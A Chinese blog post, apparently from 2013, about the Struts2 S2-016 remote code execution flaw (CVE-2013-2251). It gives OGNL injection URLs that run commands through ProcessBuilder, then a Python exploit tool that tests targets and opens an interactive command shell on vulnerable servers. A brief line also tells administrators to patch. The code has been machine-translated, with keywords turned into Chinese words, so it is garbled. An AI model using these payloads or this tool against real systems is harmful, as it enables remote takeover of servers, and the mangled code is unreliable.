Struts2远程执行代码(s2 - 016)利用工具

  

7·17中午刚刚午睡醒来就看到几个熟悉字眼——Struts2远程执行代码。施特!难道继上回& lt;销售:a>标签后又新曝一个?本来还没睡醒的一下子清醒了。一看果断,紧接着某云就被刷屏了~ ~ ~一场腥风血雨画面即将上演…

 Struts2远程执行代码(s2 - 016)利用工具


据报道,受影响版本是2.0.0-2.3.15,CVE编号:CVE - 2013 - 2251。原因是因为参数行动的值将以重定向及redirectAction没有正确过滤,导致允许* * *者在访问使用Struts2的应用时远程执行OGNL表达式


漏洞证明:

http://host/struts2-blank/example/X.action?action % 25 {3 * 4}

http://host/struts2-blank/example/X.action?redirect % 25 {3 * 4}

http://host/struts2-blank/example/X.action?redirectAction: % 25 {3 * 4}


代码测试:


http://host/struts2-blank/example/X.action?action % 25{(新+ java.lang.ProcessBuilder(新+以[]{‘命令’,‘走’,‘这里’})).start ()}


http://host/struts2-showcase/employee/save.action?redirect % 25{(新+ java.lang.ProcessBuilder(新+以[]{‘命令’,‘走’,‘这里’})).start ()}




http://host/struts2-showcase/employee/save.action?redirectAction % 25{(新+ java.lang.ProcessBuilder(新+以[]{‘命令’,‘走’,‘这里’})).start ()}


官方已经更新补丁,管理员们速度打上,不然裤子被脱了还不知道。

URL: http://struts.apache.org/download.cgi struts23151


下面显示下python写的利用工具【图】

 Struts2远程执行代码(s2 - 016)利用工具



一用谷歌搜差点没吓尿,再次强烈建议管理今晚加班都要把这修补了! ! !晚安



- - - - - - - - - - - - - - - - - - - - - - - - - - - -更新py脚本代码- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

# !/usr/bin/env python   # - * -编码:utf - 8 - *   #   # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -   # Struts2 2.0.0 - Struts 2.3.15   # cve - 2013 - 2251   # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -   #版权,Terryll保留   #作者评论日期   #特里2013-7-17创建   进口urllib   进口urllib2   进口再保险   导入系统   url_exp=" ?重定向:$ {% 23 % 3 d(新% 20 java.lang.processbuilder(新% 20以[]{的whoami})) .start () % 23 b % 3 d % 23 a.getinputstream () % 23 c % 3 dnew % 20 java.io.inputstreamreader (% 23 b), % 23 d % 3 dnew % 20 java.io.bufferedreader (% 23 c), % 23 e % 3 dnew % 20 char [50000], % 23 d.read (% 23 e), % 23马特% 3 d % 23 context.get (“com.opensymphony.xwork2.dispatcher.HttpServletResponse”), % 23 matt.getwriter () .println (% 23 e), % 23 matt.getwriter () .flush () % 23 matt.getwriter () .close ()}”   def法官(url):   #判断是否存在该漏洞   如果url.endswith (“.action”):   试一试:   url=url + url_exp   #打印url   url_request=urllib2.Request (url)   响应=urllib2.urlopen (url_request)   res_html=response.read ()   #打印res_html [100]   如果res_html.find(“在”)在0:   返回“失败”   其他:   返回“OK”   #打印response.func_code   除了:   返回“错误”   其他:   返回“url错误”   def get_args(参数):   #   #转化为参数的格式如:“ls”、“过程”   #   args=参数。分割(' ')   args_deal="   因为我在参数:   args_deal=args_deal +”“我+ +”,“   args_deal=args_deal (: 1)   返回args_deal   def地带(str):   #   #去除首尾的\ x00串   #   tmp=str.strip ()   blank_line=re.compile (“\ x00”)   tmp=blank_line.sub (tmp)   返回tmp   def攻击(url):   #   #做   #   试一试:   url_request=urllib2.Request (url)   响应=urllib2.urlopen (url_request)   .strip res_html=response.read () ()   返回带(res_html)   除了:   返回“错误”   if __name__==癬_main__”:      如果len (sys.argv)比;1:   #打印get_url (ls过程)   如果法官(sys.argv [1])==癘K”:   打印“成功”   模式=re.compile (r 'http [s] ?://((\ w \ w) * ?)/')   url=系统。argv [1] + url_exp   主机名=pattern.findall (url)   #打印主机名[0]   循环=1   while循环:   字符串=raw_input(主机名[0]+“在”)      如果string.startswith(“退出”):   打破   循环=0   如果len(字符串)比;0:   url_=url.replace (“whoami”, get_args (string))   #打印url_   打印攻击(url_)   其他:   打印“失败”   其他:   打印(“不争论!”)

Struts2远程执行代码(s2 - 016)利用工具